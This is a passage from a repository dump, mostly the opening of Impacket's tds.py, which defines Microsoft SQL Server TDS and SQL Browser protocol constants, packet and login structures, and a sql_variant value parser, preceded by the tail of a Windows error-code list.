0x00003d0a\nAPPMODEL_ERROR_NO_PACKAGE                                                = 0x00003d54\nAPPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT                                   = 0x00003d55\nAPPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT                                  = 0x00003d56\nAPPMODEL_ERROR_NO_APPLICATION                                            = 0x00003d57\nERROR_STATE_LOAD_STORE_FAILED                                            = 0x00003db8\nERROR_STATE_GET_VERSION_FAILED                                           = 0x00003db9\nERROR_STATE_SET_VERSION_FAILED                                           = 0x00003dba\nERROR_STATE_STRUCTURED_RESET_FAILED                                      = 0x00003dbb\nERROR_STATE_OPEN_CONTAINER_FAILED                                        = 0x00003dbc\nERROR_STATE_CREATE_CONTAINER_FAILED                                      = 0x00003dbd\nERROR_STATE_DELETE_CONTAINER_FAILED                                      = 0x00003dbe\nERROR_STATE_READ_SETTING_FAILED                                          = 0x00003dbf\nERROR_STATE_WRITE_SETTING_FAILED                                         = 0x00003dc0\nERROR_STATE_DELETE_SETTING_FAILED                                        = 0x00003dc1\nERROR_STATE_QUERY_SETTING_FAILED                                         = 0x00003dc2\nERROR_STATE_READ_COMPOSITE_SETTING_FAILED                                = 0x00003dc3\nERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED                               = 0x00003dc4\nERROR_STATE_ENUMERATE_CONTAINER_FAILED                                   = 0x00003dc5\nERROR_STATE_ENUMERATE_SETTINGS_FAILED                                    = 0x00003dc6\nERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED                  = 0x00003dc7\nERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED                            = 0x00003dc8\nERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED                             = 0x00003dc9\nERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED                           = 0x00003dca\nERROR_API_UNAVAILABLE                                                    = 0x00003de1\nSTORE_ERROR_UNLICENSED                                                   = 0x00003df5\nSTORE_ERROR_UNLICENSED_USER                                              = 0x00003df6\n"
  },
  {
    "path": "impacket/tds.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-TDS] & [MC-SQLR] implementation.\n#\n# Author:\n#   Alberto Solino (@agsolino) original writer\n#   Aurélien Chalot (@Defte_) massive rework:\n#       - Implement in memory handshake via native SSL\n#       - Implement Channel Binding via tls-unique\n#       - Code comments for easier reading\n#\n# ToDo:\n#   [ ] Implement TDS 8 which means\n#       - Reimplementing TDS packet's structures\n#       - Implement a simple TCP/TLS socket\n#       - Implement Channel Binding with tls-exporter (not implemented in ssl yet)\n#   [ ] Add all the tokens left\n#   [ ] parseRow should be rewritten and add support for all the SQL types in a\n#       good way. Right now it just supports a few types.\n#   [ ] printRows is crappy, just an easy way to print the rows. It should be\n#       rewritten to output like a normal SQL client\n\n\nfrom __future__ import division\nfrom __future__ import print_function\n\n# Native SSL support for in memory handshake\nimport ssl\n\n# Used to compute the CBT TOKEN\nfrom hashlib import md5\nimport struct\nimport socket\nimport select\nimport random\nimport binascii\nimport math\nimport datetime\nfrom decimal import Decimal, getcontext\nfrom uuid import uuid4\n\nfrom impacket import ntlm, uuid, LOG\nfrom impacket.structure import Structure\nfrom impacket.mssql.version import MSSQL_VERSION\n\n\n# We need to have a fake Logger to be compatible with the way Impact\n# prints information. Outside Impact it's just a print. Inside\n# we will receive the Impact logger instance to print row information\n# The rest it processed through the standard impacket logging mech.\nclass DummyPrint:\n    def logMessage(self, message):\n        if message == \"\\n\":\n            print(message)\n        elif message == \"\\r\":\n            print()\n        else:\n            print(message, end=\" \")\n\n\n# MC-SQLR Constants and Structures\nSQLR_PORT = 1434\nSQLR_CLNT_BCAST_EX = 0x02\nSQLR_CLNT_UCAST_EX = 0x03\nSQLR_CLNT_UCAST_INST = 0x04\nSQLR_CLNT_UCAST_DAC = 0x0F\n\n\nclass SQLR(Structure):\n    commonHdr = ((\"OpCode\", \"B\"),)\n\n\nclass SQLR_UCAST_INST(SQLR):\n    structure = (\"Instance\", \":\")\n\n    def __init__(self, data=None):\n        SQLR.__init__(self, data)\n        if data is not None:\n            self[\"OpCode\"] = SQLR_CLNT_UCAST_INST\n\n\nclass SQLR_UCAST_DAC(SQLR):\n    structure = (\n        (\"Protocol\", \"B=1\"),\n        (\"Instance\", \":\"),\n    )\n\n    def __init__(self, data=None):\n        SQLR.__init__(self, data)\n        if data is not None:\n            self[\"OpCode\"] = SQLR_CLNT_UCAST_DAC\n\n\nclass SQLR_Response(SQLR):\n    structure = (\n        (\"Size\", \"<H\"),\n        (\"_Data\", \"_-Data\", 'self[\"Size\"]'),\n        (\"Data\", \":\"),\n    )\n\n\nclass SQLErrorException(Exception):\n    pass\n\n\n# TDS Constants and Structures\n\n# TYPE constants\nTDS_SQL_BATCH = 1\nTDS_PRE_TDS_LOGIN = 2\nTDS_RPC = 3\nTDS_TABULAR = 4\nTDS_ATTENTION = 6\nTDS_BULK_LOAD_DATA = 7\nTDS_TRANSACTION = 14\nTDS_LOGIN7 = 16\nTDS_SSPI = 17\nTDS_PRE_LOGIN = 18\n\n# Status constants\nTDS_STATUS_NORMAL = 0\nTDS_STATUS_EOM = 1\nTDS_STATUS_RESET_CONNECTION = 8\nTDS_STATUS_RESET_SKIPTRANS = 16\n\n# Encryption\nTDS_ENCRYPT_OFF = 0\nTDS_ENCRYPT_ON = 1\nTDS_ENCRYPT_NOT_SUP = 2\nTDS_ENCRYPT_REQ = 3\n\n# Option 2 Flags\nTDS_INTEGRATED_SECURITY_ON = 0x80\nTDS_INIT_LANG_FATAL = 0x01\nTDS_ODBC_ON = 0x02\n\n# Token Types\nTDS_ALTMETADATA_TOKEN = 0x88\nTDS_ALTROW_TOKEN = 0xD3\nTDS_COLMETADATA_TOKEN = 0x81\nTDS_COLINFO_TOKEN = 0xA5\nTDS_DONE_TOKEN = 0xFD\nTDS_DONEPROC_TOKEN = 0xFE\nTDS_DONEINPROC_TOKEN = 0xFF\nTDS_ENVCHANGE_TOKEN = 0xE3\nTDS_ERROR_TOKEN = 0xAA\nTDS_INFO_TOKEN = 0xAB\nTDS_LOGINACK_TOKEN = 0xAD\nTDS_NBCROW_TOKEN = 0xD2\nTDS_OFFSET_TOKEN = 0x78\nTDS_ORDER_TOKEN = 0xA9\nTDS_RETURNSTATUS_TOKEN = 0x79\nTDS_RETURNVALUE_TOKEN = 0xAC\nTDS_ROW_TOKEN = 0xD1\nTDS_SSPI_TOKEN = 0xED\nTDS_TABNAME_TOKEN = 0xA4\n\n# ENVCHANGE Types\nTDS_ENVCHANGE_DATABASE = 1\nTDS_ENVCHANGE_LANGUAGE = 2\nTDS_ENVCHANGE_CHARSET = 3\nTDS_ENVCHANGE_PACKETSIZE = 4\nTDS_ENVCHANGE_UNICODE = 5\nTDS_ENVCHANGE_UNICODE_DS = 6\nTDS_ENVCHANGE_COLLATION = 7\nTDS_ENVCHANGE_TRANS_START = 8\nTDS_ENVCHANGE_TRANS_COMMIT = 9\nTDS_ENVCHANGE_ROLLBACK = 10\nTDS_ENVCHANGE_DTC = 11\n\n# Column types\n# FIXED-LEN Data Types\nTDS_NULL_TYPE = 0x1F\nTDS_INT1TYPE = 0x30\nTDS_BITTYPE = 0x32\nTDS_INT2TYPE = 0x34\nTDS_INT4TYPE = 0x38\nTDS_DATETIM4TYPE = 0x3A\nTDS_FLT4TYPE = 0x3B\nTDS_MONEYTYPE = 0x3C\nTDS_DATETIMETYPE = 0x3D\nTDS_FLT8TYPE = 0x3E\nTDS_MONEY4TYPE = 0x7A\nTDS_INT8TYPE = 0x7F\n\n# VARIABLE-Len Data Types\nTDS_GUIDTYPE = 0x24\nTDS_INTNTYPE = 0x26\nTDS_DECIMALTYPE = 0x37\nTDS_NUMERICTYPE = 0x3F\nTDS_BITNTYPE = 0x68\nTDS_DECIMALNTYPE = 0x6A\nTDS_NUMERICNTYPE = 0x6C\nTDS_FLTNTYPE = 0x6D\nTDS_MONEYNTYPE = 0x6E\nTDS_DATETIMNTYPE = 0x6F\nTDS_DATENTYPE = 0x28\nTDS_TIMENTYPE = 0x29\nTDS_DATETIME2NTYPE = 0x2A\nTDS_DATETIMEOFFSETNTYPE = 0x2B\nTDS_CHARTYPE = 0x2F\nTDS_VARCHARTYPE = 0x27\nTDS_BINARYTYPE = 0x2D\nTDS_VARBINARYTYPE = 0x25\nTDS_BIGVARBINTYPE = 0xA5\nTDS_BIGVARCHRTYPE = 0xA7\nTDS_BIGBINARYTYPE = 0xAD\nTDS_BIGCHARTYPE = 0xAF\nTDS_NVARCHARTYPE = 0xE7\nTDS_NCHARTYPE = 0xEF\nTDS_XMLTYPE = 0xF1\nTDS_UDTTYPE = 0xF0\nTDS_TEXTTYPE = 0x23\nTDS_IMAGETYPE = 0x22\nTDS_NTEXTTYPE = 0x63\nTDS_SSVARIANTTYPE = 0x62\n\n\nclass TDSPacket(Structure):\n    structure = (\n        (\"Type\", \"<B\"),\n        (\"Status\", \"<B=1\"),\n        (\"Length\", \">H=8+len(Data)\"),\n        (\"SPID\", \">H=0\"),\n        (\"PacketID\", \"<B=0\"),\n        (\"Window\", \"<B=0\"),\n        (\"Data\", \":\"),\n    )\n\n\nclass TDS_PRELOGIN(Structure):\n    structure = (\n        (\"VersionToken\", \">B=0\"),\n        (\"VersionOffset\", \">H\"),\n        (\"VersionLength\", '>H=len(self[\"Version\"])'),\n        (\"EncryptionToken\", \">B=0x1\"),\n        (\"EncryptionOffset\", \">H\"),\n        (\"EncryptionLength\", \">H=1\"),\n        (\"InstanceToken\", \">B=2\"),\n        (\"InstanceOffset\", \">H\"),\n        (\"InstanceLength\", '>H=len(self[\"Instance\"])'),\n        (\"ThreadIDToken\", \">B=3\"),\n        (\"ThreadIDOffset\", \">H\"),\n        (\"ThreadIDLength\", \">H=4\"),\n        (\"EndToken\", \">B=0xff\"),\n        (\"_Version\", \"_-Version\", 'self[\"VersionLength\"]'),\n        (\"Version\", \":\"),\n        (\"Encryption\", \"B\"),\n        (\"_Instance\", \"_-Instance\", 'self[\"InstanceLength\"]-1'),\n        (\"Instance\", \":\"),\n        (\"ThreadID\", \":\"),\n    )\n\n    def getData(self):\n        self[\"VersionOffset\"] = 21\n        self[\"EncryptionOffset\"] = self[\"VersionOffset\"] + len(self[\"Version\"])\n        self[\"InstanceOffset\"] = self[\"EncryptionOffset\"] + 1\n        self[\"ThreadIDOffset\"] = self[\"InstanceOffset\"] + len(self[\"Instance\"])\n        return Structure.getData(self)\n\n\nclass TDS_LOGIN(Structure):\n    structure = (\n        (\"Length\", \"<L=0\"),\n        (\"TDSVersion\", \">L=0x71\"),\n        (\"PacketSize\", \"<L=32764\"),\n        (\"ClientProgVer\", \">L=7\"),\n        (\"ClientPID\", \"<L=0\"),\n        (\"ConnectionID\", \"<L=0\"),\n        (\"OptionFlags1\", \"<B=0xe0\"),\n        (\"OptionFlags2\", \"<B\"),\n        (\"TypeFlags\", \"<B=0\"),\n        (\"OptionFlags3\", \"<B=0\"),\n        (\"ClientTimeZone\", \"<L=0\"),\n        (\"ClientLCID\", \"<L=0\"),\n        (\"HostNameOffset\", \"<H\"),\n        (\"HostNameLength\", '<H=len(self[\"HostName\"])//2'),\n        (\"UserNameOffset\", \"<H=0\"),\n        (\"UserNameLength\", '<H=len(self[\"UserName\"])//2'),\n        (\"PasswordOffset\", \"<H=0\"),\n        (\"PasswordLength\", '<H=len(self[\"Password\"])//2'),\n        (\"AppNameOffset\", \"<H\"),\n        (\"AppNameLength\", '<H=len(self[\"AppName\"])//2'),\n        (\"ServerNameOffset\", \"<H\"),\n        (\"ServerNameLength\", '<H=len(self[\"ServerName\"])//2'),\n        (\"UnusedOffset\", \"<H=0\"),\n        (\"UnusedLength\", \"<H=0\"),\n        (\"CltIntNameOffset\", \"<H\"),\n        (\"CltIntNameLength\", '<H=len(self[\"CltIntName\"])//2'),\n        (\"LanguageOffset\", \"<H=0\"),\n        (\"LanguageLength\", \"<H=0\"),\n        (\"DatabaseOffset\", \"<H=0\"),\n        (\"DatabaseLength\", '<H=len(self[\"Database\"])//2'),\n        (\"ClientID\", '6s=b\"\\x01\\x02\\x03\\x04\\x05\\x06\"'),\n        (\"SSPIOffset\", \"<H\"),\n        (\"SSPILength\", '<H=len(self[\"SSPI\"])'),\n        (\"AtchDBFileOffset\", \"<H\"),\n        (\"AtchDBFileLength\", '<H=len(self[\"AtchDBFile\"])//2'),\n        (\"HostName\", \":\"),\n        (\"UserName\", \":\"),\n        (\"Password\", \":\"),\n        (\"AppName\", \":\"),\n        (\"ServerName\", \":\"),\n        (\"CltIntName\", \":\"),\n        (\"Database\", \":\"),\n        (\"SSPI\", \":\"),\n        (\"AtchDBFile\", \":\"),\n    )\n\n    def __init__(self, data=None):\n        Structure.__init__(self, data)\n        if data is None:\n            self[\"UserName\"] = \"\"\n            self[\"Password\"] = \"\"\n            self[\"Database\"] = \"\"\n            self[\"AtchDBFile\"] = \"\"\n\n    def fromString(self, data):\n        Structure.fromString(self, data)\n        if self[\"HostNameLength\"] > 0:\n            self[\"HostName\"] = data[self[\"HostNameOffset\"] :][\n                : self[\"HostNameLength\"] * 2\n            ]\n\n        if self[\"UserNameLength\"] > 0:\n            self[\"UserName\"] = data[self[\"UserNameOffset\"] :][\n                : self[\"UserNameLength\"] * 2\n            ]\n\n        if self[\"PasswordLength\"] > 0:\n            self[\"Password\"] = data[self[\"PasswordOffset\"] :][\n                : self[\"PasswordLength\"] * 2\n            ]\n\n        if self[\"AppNameLength\"] > 0:\n            self[\"AppName\"] = data[self[\"AppNameOffset\"] :][: self[\"AppNameLength\"] * 2]\n\n        if self[\"ServerNameLength\"] > 0:\n            self[\"ServerName\"] = data[self[\"ServerNameOffset\"] :][\n                : self[\"ServerNameLength\"] * 2\n            ]\n\n        if self[\"CltIntNameLength\"] > 0:\n            self[\"CltIntName\"] = data[self[\"CltIntNameOffset\"] :][\n                : self[\"CltIntNameLength\"] * 2\n            ]\n\n        if self[\"DatabaseLength\"] > 0:\n            self[\"Database\"] = data[self[\"DatabaseOffset\"] :][\n                : self[\"DatabaseLength\"] * 2\n            ]\n\n        if self[\"SSPILength\"] > 0:\n            self[\"SSPI\"] = data[self[\"SSPIOffset\"] :][: self[\"SSPILength\"] * 2]\n\n        if self[\"AtchDBFileLength\"] > 0:\n            self[\"AtchDBFile\"] = data[self[\"AtchDBFileOffset\"] :][\n                : self[\"AtchDBFileLength\"] * 2\n            ]\n\n    def getData(self):\n        index = 36 + 50\n        self[\"HostNameOffset\"] = index\n\n        index += len(self[\"HostName\"])\n\n        if self[\"UserName\"] != \"\":\n            self[\"UserNameOffset\"] = index\n        else:\n            self[\"UserNameOffset\"] = 0\n\n        index += len(self[\"UserName\"])\n\n        if self[\"Password\"] != \"\":\n            self[\"PasswordOffset\"] = index\n        else:\n            self[\"PasswordOffset\"] = 0\n\n        index += len(self[\"Password\"])\n\n        self[\"AppNameOffset\"] = index\n        self[\"ServerNameOffset\"] = self[\"AppNameOffset\"] + len(self[\"AppName\"])\n        self[\"CltIntNameOffset\"] = self[\"ServerNameOffset\"] + len(self[\"ServerName\"])\n        self[\"LanguageOffset\"] = self[\"CltIntNameOffset\"] + len(self[\"CltIntName\"])\n        self[\"DatabaseOffset\"] = self[\"LanguageOffset\"]\n        self[\"SSPIOffset\"] = self[\"DatabaseOffset\"] + len(self[\"Database\"])\n        self[\"AtchDBFileOffset\"] = self[\"SSPIOffset\"] + len(self[\"SSPI\"])\n        return Structure.getData(self)\n\n\nclass TDS_LOGIN_ACK(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Length\", \"<H\"),\n        (\"Interface\", \"<B\"),\n        (\"TDSVersion\", \"<L\"),\n        (\"ProgNameLen\", \"<B\"),\n        (\"_ProgNameLen\", \"_-ProgName\", 'self[\"ProgNameLen\"]*2'),\n        (\"ProgName\", \":\"),\n        (\"MajorVer\", \"<B\"),\n        (\"MinorVer\", \"<B\"),\n        (\"BuildNumHi\", \"<B\"),\n        (\"BuildNumLow\", \"<B\"),\n    )\n\n\nclass TDS_RETURNSTATUS(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Value\", \"<L\"),\n    )\n\n\nclass TDS_INFO_ERROR(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Length\", \"<H\"),\n        (\"Number\", \"<L\"),\n        (\"State\", \"<B\"),\n        (\"Class\", \"<B\"),\n        (\"MsgTextLen\", \"<H\"),\n        (\"_MsgTextLen\", \"_-MsgText\", 'self[\"MsgTextLen\"]*2'),\n        (\"MsgText\", \":\"),\n        (\"ServerNameLen\", \"<B\"),\n        (\"_ServerNameLen\", \"_-ServerName\", 'self[\"ServerNameLen\"]*2'),\n        (\"ServerName\", \":\"),\n        (\"ProcNameLen\", \"<B\"),\n        (\"_ProcNameLen\", \"_-ProcName\", 'self[\"ProcNameLen\"]*2'),\n        (\"ProcName\", \":\"),\n        (\"LineNumber\", \"<H\"),\n    )\n\n\nclass TDS_ENVCHANGE(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Length\", \"<H=4+len(Data)\"),\n        (\"Type\", \"<B\"),\n        (\"_Data\", \"_-Data\", 'self[\"Length\"]-1'),\n        (\"Data\", \":\"),\n    )\n\n\nclass TDS_DONEINPROC(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Status\", \"<H\"),\n        (\"CurCmd\", \"<H\"),\n        (\"DoneRowCount\", \"<L\"),\n    )\n\n\nclass TDS_ORDER(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Length\", \"<H\"),\n        (\"_Data\", \"_-Data\", 'self[\"Length\"]'),\n        (\"Data\", \":\"),\n    )\n\n\nclass TDS_ENVCHANGE_VARCHAR(Structure):\n    structure = (\n        (\"NewValueLen\", \"<B=len(NewValue)\"),\n        (\"_NewValue\", \"_-NewValue\", 'self[\"NewValueLen\"]*2'),\n        (\"NewValue\", \":\"),\n        (\"OldValueLen\", \"<B=len(OldValue)\"),\n        (\"_OldValue\", \"_-OldValue\", 'self[\"OldValueLen\"]*2'),\n        (\"OldValue\", \":\"),\n    )\n\n\nclass TDS_ROW(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Data\", \":\"),\n    )\n\n\nclass TDS_DONE(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Status\", \"<H\"),\n        (\"CurCmd\", \"<H\"),\n        (\"DoneRowCount\", \"<L\"),\n    )\n\n\nclass TDS_COLMETADATA(Structure):\n    structure = (\n        (\"TokenType\", \"<B\"),\n        (\"Count\", \"<H\"),\n        (\"Data\", \":\"),\n    )\n\n\nclass TDS_SSVARIANT(Structure):\n    \"\"\"\n    SQL Server Variant Type Structure.\n\n    As defined in [MS-TDS] 2.2.5.5.4 sql_variant Values:\n\n    The SSVARIANTTYPE is a special data type that acts as a place holder for other data types.\n    When a SSVARIANTTYPE is filled with a data value, it takes on properties of the base data\n    type that represents the data value.\n\n    Structure Definition:\n        VARIANT_BASETYPE    = BYTE      ; data type definition\n        VARIANT_PROPBYTES   = BYTE      ; see below\n        VARIANT_PROPERTIES  = *BYTE     ; see below\n        VARIANT_DATAVAL     = 1*BYTE    ; actual data value\n\n        SSVARIANT_INSTANCE  = VARIANT_BASETYPE\n                              VARIANT_PROPBYTES\n                              VARIANT_PROPERTIES\n                              VARIANT_DATAVAL\n\n    VARIANT_PROPBYTES and VARIANT_PROPERTIES by VARIANT_BASETYPE:\n\n    | VARIANT_BASETYPE                     | VARIANT_PROPBYTES | VARIANT_PROPERTIES                    |\n    |--------------------------------------|-------------------|---------------------------------------|\n    | GUIDTYPE, BITTYPE,                   | 0                 | <not specified>                       |\n    | INT1TYPE, INT2TYPE,                  |                   |                                       |\n    | INT4TYPE, INT8TYPE,                  |                   |                                       |\n    | DATETIMETYPE, DATETIM4TYPE,          |                   |                                       |\n    | FLT4TYPE, FLT8TYPE,                  |                   |                                       |\n    | MONEYTYPE, MONEY4TYPE,               |                   |                                       |\n    | DATENTYPE                            |                   |                                       |\n    |--------------------------------------|-------------------|---------------------------------------|\n    | TIMENTYPE,                           | 1                 | 1 byte specifying scale               |\n    | DATETIME2NTYPE,                      |                   |                                       |\n    | DATETIMEOFFSETNTYPE                  |                   |                                       |\n    |--------------------------------------|-------------------|---------------------------------------|\n    | BIGVARBINARYTYPE,                    | 2                 | 2 bytes specifying max length         |\n    | BIGBINARYTYPE                        |                   |                                       |\n    |--------------------------------------|-------------------|---------------------------------------|\n    | NUMERICNTYPE,                        | 2                 | 1 byte for precision followed by      |\n    | DECIMALNTYPE                         |                   | 1 byte for scale                      |\n    |--------------------------------------|-------------------|---------------------------------------|\n    | BIGVARCHARTYPE, BIGCHARTYPE,         | 7                 | 5-byte COLLATION, followed by a       |\n    | NVARCHARTYPE, NCHARTYPE              |                   | 2-byte max length                     |\n    |--------------------------------------|-------------------|---------------------------------------|\n\n    Note: Data types cannot be NULL when inside a sql_variant. If the value is NULL,\n    the sql_variant itself has to be NULL (TotalLength = 0).\n    \"\"\"\n\n    structure = (\n        (\"TotalLength\", \"<L=0\"),\n        (\"Data\", \":\"),\n    )\n\n    def __init__(self, data=None):\n        Structure.__init__(self, data)\n        self.baseType = None\n        self.propBytes = None\n        self.properties = None\n        self.value = None\n\n    def parse(self):\n        \"\"\"\n        Parse the sql_variant data and extract the base type, properties, and value.\n\n        Returns:\n            Parsed value in its appropriate Python type, or 'NULL' if empty\n        \"\"\"\n        if self[\"TotalLength\"] == 0:\n            return \"NULL\"\n\n        data = self[\"Data\"]\n\n        # Read BaseType (1 byte)\n        self.baseType = struct.unpack(\"<B\", data[:1])[0]\n        data = data[1:]\n\n        # Read PropBytes (1 byte)\n        self.propBytes = struct.unpack(\"<B\", data[:1])[0]\n        data = data[1:]\n\n        # Extract type-specific properties\n        self.properties = data[: self.propBytes]\n        data = data[self.propBytes :]\n\n        # Calculate the actual data length\n        dataLength = self[\"TotalLength\"] - 2 - self.propBytes\n        valueData = data[:dataLength]\n\n        # Parse value based on BaseType\n        self.value = self._parseValue(self.baseType, valueData, self.properties)\n        return self.value\n\n    def _parseValue(self, baseType, data, properties):\n        \"\"\"\n        Parse the value based on the base type following MS-TDS 2.2.5.5.4.\n\n        Args:\n            baseType: The SQL Server base type identifier (VARIANT_BASETYPE)\n            data: The raw data bytes containing the value (VARIANT_DATAVAL)\n            properties: Type-specific property bytes (VARIANT_PROPERTIES)\n\n        Returns:\n            Parsed value in appropriate Python type\n        \"\"\"\n        try:\n            # Types with VARIANT_PROPBYTES = 0 (no properties)\n            if baseType == TDS_INT1TYPE:\n                return struct.unpack(\"<B\", data[:1])[0]\n            elif baseType == TDS_INT2TYPE:\n                return struct.unpack(\"<h\", data[:2])[0]\n            elif baseType == TDS_INT4TYPE:\n                return struct.unpack(\"<l\", data[:4])[0]\n            elif baseType == TDS_INT8TYPE:\n                return struct.unpack(\"<q\", data[:8])[0]\n\n            # Bit type\n            elif baseType == TDS_BITTYPE:\n                return struct.unpack(\"<B\", data[:1])[0]\n\n            # Floating point types\n            elif baseType == TDS_FLT4TYPE:\n                return struct.unpack(\"<f\", data[:4])[0]\n            elif baseType == TDS_FLT8TYPE:\n                return struct.unpack(\"<d\", data[:8])[0]\n\n            # Unicode character types\n            elif baseType in (TDS_NVARCHARTYPE, TDS_NCHARTYPE):\n                # Properties: Collation (5 bytes) + MaxLength (2 bytes)\n                return data.decode(\"utf-16le\")\n\n            # ANSI character types\n            elif baseType in (\n                TDS_VARCHARTYPE,\n                TDS_CHARTYPE,\n                TDS_BIGVARCHRTYPE,\n                TDS_BIGCHARTYPE,\n            ):\n                # Properties: Collation (5 bytes) + MaxLength (varies)\n                # Try UTF-8 first, fallback to latin-1\n                try:\n                    return data.decode(\"utf-8\")\n                except UnicodeDecodeError:\n                    return data.decode(\"latin-1\")\n\n            # Binary types\n            elif baseType in (\n                TDS_VARBINARYTYPE,\n                TDS_BINARYTYPE,\n                TDS_BIGVARBINTYPE,\n                TDS_BIGBINARYTYPE,\n            ):\n                return binascii.b2a_hex(data).decode(\"ascii\")\n\n            # Money types\n            elif baseType == TDS_MONEY4TYPE:\n                value = struct.unpack(\"<l\", data[:4])[0]\n                return Decimal(value) / Decimal(10000)\n            elif baseType == TDS_MONEYTYPE:\n                # Money: first 4 bytes are the high-order signed dword (little-endian),\n                # next 4 bytes are the low-order unsigned dword (little-endian).\n                high, low = struct.unpack(\"<lL\", data[:8])\n                value = (high << 32) + low\n                return Decimal(value) / Decimal(10000)\n\n            # GUID type\n            elif baseType == TDS_GUIDTYPE:\n                return uuid.bin_to_string(data)\n\n            # Datetime types\n            elif baseType == TDS_DATETIMETYPE:\n                # 4 bytes days + 4 bytes time\n                dateValue = struct.unpack(\"<l\", data[:4])[0]\n                timeValue = struct.unpack(\"<L\", data[4:8])[0]\n                baseDate = datetime.date(1900, 1, 1)\n                dateValue = datetime.date.fromordinal(baseDate.toordinal() + dateValue)\n                hours, mod = divmod(timeValue // 300, 60 * 60)\n                minutes, second = divmod(mod, 60)\n                return datetime.datetime(\n                    dateValue.year,\n                    dateValue.month,\n                    dateValue.day,\n                    hours,\n                    minutes,\n                    second,\n                )\n\n            elif baseType == TDS_DATETIM4TYPE:\n                # 2 bytes days + 2 bytes minutes\n                dateValue = struct.unpack(\"<H\", data[:2])[0]\n                timeValue = struct.unpack(\"<H\", data[2:4])[0]\n                baseDate = datetime.date(1900, 1, 1)\n                dateValue = datetime.date.fromordinal(baseDate.toordinal() + dateValue)\n                hours, minutes = divmod(timeValue, 60)\n                return datetime.datetime(\n                    dateValue.year, dateValue.month, dateValue.day, hours, minutes, 0\n                )\n\n            elif baseType == TDS_DATENTYPE:\n                # date: 3-byte unsigned integer (days since year 1)\n                # VARIANT_PROPBYTES = 0\n                if len(data) < 3:\n                    return \"NULL\"\n                dateValue = struct.unpack(\"<L\", data[:3] + b\"\\x00\")[0]\n                return datetime.date.fromordinal(dateValue)\n\n            # Types with VARIANT_PROPBYTES = 1 (1 byte for scale)\n            # TIMENTYPE, DATETIME2NTYPE, DATETIMEOFFSETNTYPE\n\n            elif baseType == TDS_TIMENTYPE:\n                # time(n): scale in properties[0]\n                scale = properties[0] if len(properties) > 0 else 7\n                # Time is stored as 3-5 bytes depending on scale\n                timeBytes = len(data)\n                if timeBytes == 3:\n                    timeValue = struct.unpack(\"<L\", data[:3] + b\"\\x00\")[0]\n                elif timeBytes == 4:\n                    timeValue = struct.unpack(\"<L\", data[:4])[0]\n                elif timeBytes == 5:\n                    timeValue = struct.unpack(\"<Q\", data[:5] + b\"\\x00\\x00\\x00\")[0]\n                else:\n                    return f\"<unsupported time bytes: {timeBytes}>\"\n\n                # Convert to time (stored in 10^-scale second units)\n                divisor = 10**scale\n                seconds = timeValue / divisor\n                hours = int(seconds // 3600)\n                minutes = int((seconds % 3600) // 60)\n                secs = int(seconds % 60)\n                microsecs = int((seconds % 1) * 1000000)\n                return datetime.time(hours, minutes, secs, microsecs)\n\n            elif baseType == TDS_DATETIME2NTYPE:\n                # datetime2(n): scale in properties[0]\n                scale = properties[0] if len(properties) > 0 else 7\n                # Time part (3-5 bytes) + Date part (3 bytes)\n                timeBytes = 3 if scale <= 2 else (4 if scale <= 4 else 5)\n\n                if len(data) < timeBytes + 3:\n                    return \"NULL\"\n\n                # Parse time part\n                if timeBytes == 3:\n                    timeValue = struct.unpack(\"<L\", data[:3] + b\"\\x00\")[0]\n                elif timeBytes == 4:\n                    timeValue = struct.unpack(\"<L\", data[:4])[0]\n                else:  # 5 bytes\n                    timeValue = struct.unpack(\"<Q\", data[:5] + b\"\\x00\\x00\\x00\")[0]\n\n                data = data[timeBytes:]\n\n                # Parse date part (3 bytes)\n                dateValue = struct.unpack(\"<L\", data[:3] + b\"\\x00\")[0]\n\n                # Convert to datetime\n                divisor = 10**scale\n                seconds = timeValue / divisor\n                hours = int(seconds // 3600)\n                minutes = int((seconds % 3600) // 60)\n                secs = int(seconds % 60)\n                microsecs = int((seconds % 1) * 1000000)\n\n                date_obj = datetime.date.fromordinal(dateValue)\n                return datetime.datetime(\n                    date_obj.year,\n                    date_obj.month,\n                    date_obj.day,\n                    hours,\n                    minutes,\n                    secs,\n                    microsecs,\n                )\n\n            elif baseType == TDS_DATETIMEOFFSETNTYPE:\n                # datetimeoffset(n): scale in properties[0]\n                scale = properties[0] if len(properties) > 0 else 7\n                # Time (3-5 bytes) + Date (3 bytes) + Offset (2 bytes signed)\n                timeBytes = 3 if scale <= 2 else (4 if scale <= 4 else 5)\n\n                if len(data) < timeBytes + 5:\n                    return \"NULL\"\n\n                # Parse time part\n                if timeBytes == 3:\n                    timeValue = struct.unpack(\"<L\", data[:3] + b\"\\x00\")[0]\n                elif timeBytes == 4:\n                    timeValue = struct.unpack(\"<L\", data[:4])[0]\n                else:  # 5 bytes\n                    timeValue = struct.unpack(\"<Q\", data[:5] + b\"\\x00\\x00\\x00\")[0]\n\n                data = data[timeBytes:]\n\n                # Parse date part (3 bytes)\n                dateValue = struct.unpack(\"<L\", data[:3] + b\"\\x00\")[0]\n                data = data[3:]\n\n                # Parse offset (2 bytes signed, minutes)\n                offsetMinutes = struct.unpack(\"<h\", data[:2])[0]\n\n                # Convert to datetime with timezone\n                divisor = 10**scale\n                seconds = timeValue / divisor\n                hours = int(seconds // 3600)\n                minutes = int((seconds % 3600) // 60)\n                secs = int(seconds % 60)\n                microsecs = int((seconds % 1) * 1000000)\n\n                date_obj = 